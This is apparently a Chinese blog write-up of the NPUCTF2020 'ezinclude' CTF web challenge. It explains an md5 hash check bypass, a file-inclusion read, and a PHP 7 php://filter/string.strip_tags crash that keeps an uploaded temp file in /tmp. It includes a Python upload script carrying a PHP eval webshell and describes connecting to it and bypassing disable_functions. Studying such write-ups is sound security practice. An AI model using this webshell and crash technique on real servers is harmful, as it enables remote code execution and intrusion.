[NPUCTF2020]ezinclude ---不会编程的崽

做完这题,又get到一个新的知识点。上界面

源代码里有线索

 

secret是秘密值,name与pass应该是可以控制的变量。抓个包看看

发送与请求有hash值,没猜错应该是用来验证的。拿去爆破了,啥也没爆破出来。先传参

右边的hash值改变了。猜想是不是左边的hash值是secret的md5值,右边是secret与name连起来的hash值。所以pass只需要等于右边的hash就能满足条件。

 

成功,指向flflflflag.php

 

代码很简洁,尝试一下读取文件 。这里直接说吧,我把index.php,flflflflag.php,config.php都读取了,没什么有用的信息。而且更重要的是目录下并没有flag文件(我尝试了好久好久,呜呜呜)。这里还有一个文件dir.php。我用三个工具没扫出来,所以工具还是得时常更新

欸,它怎么是读取tmp目录下的文件。是不是很疑惑。其实要用到一个知识点 。

观察响应包可得X-Powered-By: PHP/7.0.33

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell。这个崩溃原因是存在一处空指针引用。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
import requests

payload = "<?php eval($_POST[cmd]);?>"
data={'file': payload}
url="http://3f6b51c8-baa5-42bd-b7c7-68e4d7dd75ff.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

执行脚本后,访问dir.php 

 

 这个应该就是上传的木马了,上蚁剑

连接url
http://3f6b51c8-baa5-42bd-b7c7-68e4d7dd75ff.node5.buuoj.cn:81/flflflflag.php?file=/tmp/phpIBgcKr

 

没有文件???命令也无法执行。这里又要用disable_function。选择这个模式

 

 

 结果是出来了,但是flag在哪呢??

也是看的别人的wp,flag在phpinfo里,哎呀,那我连这个干嘛呀。

 最后还得是burp收场

又是一个小姿势,可以学着玩玩,哈哈 

  • 18
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值